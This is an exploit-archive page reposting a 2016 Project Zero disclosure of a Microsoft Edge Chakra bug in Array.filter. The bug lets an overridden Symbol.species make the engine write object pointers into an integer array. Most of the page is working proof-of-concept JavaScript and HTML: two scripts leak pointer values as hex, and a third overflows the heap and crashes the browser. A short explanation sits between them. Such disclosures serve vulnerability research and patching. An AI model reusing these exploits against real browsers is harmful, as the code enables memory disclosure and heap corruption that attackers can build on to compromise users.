首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Edge - 'Array.filter' Info Leak
来源:Google Security Research 作者:Google 发布时间:2016-11-21  
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=922
 
There is an info leak in Array.filter. In Chakra, the destination array that arrays are filtered into is initialized using ArraySpeciesCreate, which can create both native and variable arrays. However, the loop that calls the filter function assumes that the destination array is a variable array, and sets each value using DirectSetItemAt, which is unsafe, and can lead to a var pointer being written to an integer array. A PoC is as follows and attached:
 
 
var b = new Array(1,2,3);
var d = new Array(1,2,3);
class dummy{
 
    constructor(){
 
        return d;
        }
}
 
class MyArray extends Array {
 
  static get [Symbol.species]() {
  return dummy;
}
}
 
var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7);
 
function test(i){
 
    return true;   
}
 
 
a.__proto__ = MyArray.prototype;
 
var o = a.filter(test);
var h = [];
 
for(item in o){
 
    var n = new Number(o[item]);
    if (n < 0){
        n = n + 0x100000000;
    }
    h.push(n.toString(16));
 
}
 
alert(h);
 
<html><body><script>
var b = new Array(1,2,3);
var d = new Array(1,2,3);
class dummy{
 
    constructor(){
        alert("in constructor");
        return d;
        }
 
}
 
class MyArray extends Array {
  // Overwrite species to the parent Array constructor
  static get [Symbol.species]() {
 
    alert("get");
        b[0] = {};
  return dummy; }
}
 
var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7);
 
 
function test(i){
 
    return true;   
 
}
 
 
 
a.__proto__ = MyArray.prototype;
 
var o = a.filter(test);
alert(o);
var h = [];
 
for(item in o){
 
    var n = new Number(o[item]);
    if (n < 0){
        n = n + 0x100000000;
    }
    h.push(n.toString(16));
 
}
 
alert(h);
 
</script></body></html>
 
https://bugs.chromium.org/p/project-zero/issues/detail?id=922#c1
 
I looked a bit more into this issue, and I think it can actually be used to corrupt the heap too. The issue is that DirectSetItemAt is called on an int array when it thinks it's a Var array. But since elements of a Var array are twice as wide as elements of the int array, setting items at indexes larger than half the array length will write outside of the allocated array. I've attached a sample that crashes Edge and demonstrates the overflow.
-->
 
<html>
<body>
<script>
 
var b = new Array(1,2,3);
var d = new Array(1,2,3);
d.length = 0x200000;
d.fill(7);
class dummy{
 
    constructor(){
        alert("in constructor");
        return d;
        }
 
}
 
class MyArray extends Array {
  // Overwrite species to the parent Array constructor
  static get [Symbol.species]() {
 
    alert("get");
        b[0] = {};
  return dummy; }
}
 
var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7);
 
for(var i = 0; i < 0x200000; i++){
    a[i] = i;
 
}
 
function test(i){
 
    return true;   
 
}
 
 
 
a.__proto__ = MyArray.prototype;
 
var o = a.filter(test);
alert(o);
var h = [];
 
for(item in o){
 
    var n = new Number(o[item]);
    if (n < 0){
        n = n + 0x100000000;
    }
    h.push(n.toString(16));
 
}
 
alert(h);
 
</script>
</body>
</html>
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Edge - 'FillFromProt
·Microsoft Edge - 'Array.revers
·Moxa SoftCMS 1.5 - Denial of S
·Microsoft Edge - 'Array.splice
·FTPShell Client 5.24 - 'PWD' R
·Microsoft Internet Explorer 11
·Nagios 4.2.2 - Privilege Escal
·Microsoft Edge CTextExtractor:
·PowerShellEmpire Arbitrary Fil
·Microsoft Edge Scripting Engin
·Authenticated WMI Exec Via Pow
·Putty 0.67 Cleartext Password
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved